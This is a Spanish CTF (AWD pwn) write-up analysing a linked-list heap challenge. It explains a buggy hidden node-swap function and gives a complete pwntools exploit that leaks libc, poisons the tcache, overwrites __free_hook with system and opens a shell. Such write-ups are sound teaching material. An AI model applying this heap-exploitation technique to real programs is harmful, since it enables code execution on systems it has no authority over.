Explotación de lista enlazada en competencia AWD de pwn

La principle complejidad radica en controlar los nodos de una lista enlazada, comprendiendo sus relaciones.

Análisis del programa

Durante la inicialización se asigna un bloque de 16 bytes (0x10) como cabecera. La operación add crea tres bloques de memoria: el primero almacena los metadatos (índice, tamaño y dirección) del segundo bloque, el segundo contiene los datos introducidos, y el tercero guarda la dirección del primer bloque junto con un puntero al siguiente conjunto de tres bloques.

La estructura puede representarse mediante:

typedef struct {
    uint8_t identificador;
    int capacidad;
    char *informacion;
} BloqueDatos;

typedef struct NodoLista {
    BloqueDatos *bloque;
    struct NodoLista *siguiente;
} ListaEnlazada;

Examen de la función oculta

La función de respaldo implementa un intercambio de nodos con dos defectos de implementación críticos:

  • No se elimina el nodo original, produciendo referencias circulares como a→b→a
  • El identificador del bloque intercambiado se corrompe (aparece como 0x40 al entrar al tcache bin)

Estos fallos permiten explotar el prograam: podemos enviar un nodo al unsotred bin y obtener la dirección base de libc mediante un segundo acceso.

Observamos que el último nodo apunta al tcache_struct con tamaño 0 (no asignable), pero manipulando entradas al tcache bin podemos alterar los campos de tamaño e identificador. Esta ubicación coincide con la dirección del puntero fd del tcache, permitiendo modificaciones sin dañar el contenido posterior.

Secuencia de explotación

# Asignación inicial
for idx in range(7):
    crear_bloque(idx, 0x80, 'test')  # Índices 0-6
crear_bloque(7, 0x80, 'test')        # Índice 7

# Manipulación del tcache
eliminar_bloque(0)   
eliminar_bloque(7)   
payload = p64(0) + p16(0)*3 + p16(1) + p64(0)*14
payload += p64(0)*7 + p64(libc.sym['__free_hook'] - 0x10)
modificar_bloque(0x10, payload)

Script completo de explotación

from pwn import *
context(arch='amd64', log_level='debug')
ejecutable = "./vulnerable"
elf = ELF(ejecutable)
libc = elf.libc
proceso = process(ejecutable)

def enviar_opcion(opcion):
    proceso.sendlineafter('selección:', str(opcion))

def crear_bloque(indice, tamano, datos):
    enviar_opcion(1)
    proceso.sendlineafter('índice:', str(indice))
    proceso.sendlineafter('tamaño:', str(tamano))
    proceso.sendlineafter('contenido:', datos)

def mostrar_bloque(indice):
    enviar_opcion(4)
    proceso.sendlineafter('índice:', str(indice))

def modificar_bloque(indice, nuevos_datos):
    enviar_opcion(3)
    proceso.sendlineafter('índice:', str(indice))
    proceso.sendlineafter('contenido:', nuevos_datos)

def eliminar_bloque(indice):
    enviar_opcion(2)
    proceso.sendlineafter('índice:', str(indice))

def almacenar_bloque(indice):
    enviar_opcion(666)
    proceso.sendlineafter('índice:', str(indice))

# Fase 1: Obtener dirección base de libc
for i in range(9):
    crear_bloque(i, 0x80, 'ejemplo')
almacenar_bloque(7)
for i in range(7):
    eliminar_bloque(i)
eliminar_bloque(7)
mostrar_bloque(0x40)
libc.address = u64(proceso.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0

# Fase 2: Preparar tcache poisoning
for i in range(7):
    crear_bloque(i, 0x80, 'ejemplo')
crear_bloque(7, 0x80, 'ejemplo')
eliminar_bloque(0)   
eliminar_bloque(7)   

# Fase 3: Sobrescribir __free_hook
payload = p64(0) + p16(0)*3 + p16(1) + p64(0)*14
payload += p64(0)*7 + p64(libc.sym['__free_hook'] - 0x10)
modificar_bloque(0x10, payload)

# Fase 4: Ejecutar shell
crear_bloque(0, 0x80, b'/bin/sh\x00' + p64(0) + p64(libc.sym['system']))
eliminar_bloque(0)
proceso.interactive()

Etiquetas: heap-exploitation tcache-poisoning use-after-free linux-pwn ctf

Publicado el 7-19 21:41